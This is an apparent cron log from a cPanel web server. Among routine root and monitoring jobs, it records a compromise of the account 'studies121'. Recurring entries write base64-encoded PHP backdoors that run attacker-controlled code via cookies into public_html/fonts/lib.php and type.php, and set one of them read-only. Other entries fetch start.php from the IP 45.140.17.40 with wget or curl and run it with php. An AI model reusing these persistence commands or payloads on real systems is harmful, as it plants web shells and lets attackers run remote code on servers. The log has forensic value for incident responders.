Aug 31 14:41:01 ip-184-168-122-23 CROND[16013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:41:01 ip-184-168-122-23 CROND[16012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:42:01 ip-184-168-122-23 CROND[16107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:42:01 ip-184-168-122-23 CROND[16109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:42:01 ip-184-168-122-23 CROND[16110]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:42:01 ip-184-168-122-23 CROND[16112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:42:01 ip-184-168-122-23 CROND[16113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:43:01 ip-184-168-122-23 CROND[16286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:43:01 ip-184-168-122-23 CROND[16288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:43:01 ip-184-168-122-23 CROND[16290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:43:01 ip-184-168-122-23 CROND[16289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:44:01 ip-184-168-122-23 CROND[16377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:44:01 ip-184-168-122-23 CROND[16381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:44:01 ip-184-168-122-23 CROND[16382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:44:01 ip-184-168-122-23 CROND[16380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:44:01 ip-184-168-122-23 CROND[16379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:45:01 ip-184-168-122-23 CROND[16482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:45:01 ip-184-168-122-23 CROND[16485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:45:01 ip-184-168-122-23 CROND[16484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:45:01 ip-184-168-122-23 CROND[16486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:45:01 ip-184-168-122-23 CROND[16491]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:45:01 ip-184-168-122-23 CROND[16490]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:46:02 ip-184-168-122-23 CROND[16621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:46:02 ip-184-168-122-23 CROND[16623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:46:02 ip-184-168-122-23 CROND[16625]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 14:46:02 ip-184-168-122-23 CROND[16626]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 14:46:02 ip-184-168-122-23 CROND[16629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:46:02 ip-184-168-122-23 CROND[16630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:46:02 ip-184-168-122-23 CROND[16631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:47:01 ip-184-168-122-23 CROND[16749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:47:01 ip-184-168-122-23 CROND[16750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:47:01 ip-184-168-122-23 CROND[16752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:47:01 ip-184-168-122-23 CROND[16751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:48:02 ip-184-168-122-23 CROND[16941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:48:02 ip-184-168-122-23 CROND[16943]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:48:02 ip-184-168-122-23 CROND[16945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:48:02 ip-184-168-122-23 CROND[16946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:48:02 ip-184-168-122-23 CROND[16944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:49:01 ip-184-168-122-23 CROND[17046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:49:01 ip-184-168-122-23 CROND[17047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:49:01 ip-184-168-122-23 CROND[17050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:49:01 ip-184-168-122-23 CROND[17051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:50:02 ip-184-168-122-23 CROND[17191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:50:02 ip-184-168-122-23 CROND[17192]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 14:50:02 ip-184-168-122-23 CROND[17195]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:50:02 ip-184-168-122-23 CROND[17197]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 14:50:02 ip-184-168-122-23 CROND[17198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:50:02 ip-184-168-122-23 CROND[17196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:50:02 ip-184-168-122-23 CROND[17201]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:50:02 ip-184-168-122-23 CROND[17200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:50:02 ip-184-168-122-23 CROND[17202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:51:01 ip-184-168-122-23 CROND[17314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:51:01 ip-184-168-122-23 CROND[17316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:51:01 ip-184-168-122-23 CROND[17318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:51:01 ip-184-168-122-23 CROND[17317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:52:01 ip-184-168-122-23 CROND[17419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:52:01 ip-184-168-122-23 CROND[17418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:52:01 ip-184-168-122-23 CROND[17420]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:52:01 ip-184-168-122-23 CROND[17421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:52:01 ip-184-168-122-23 CROND[17417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:53:01 ip-184-168-122-23 CROND[17603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:53:01 ip-184-168-122-23 CROND[17604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
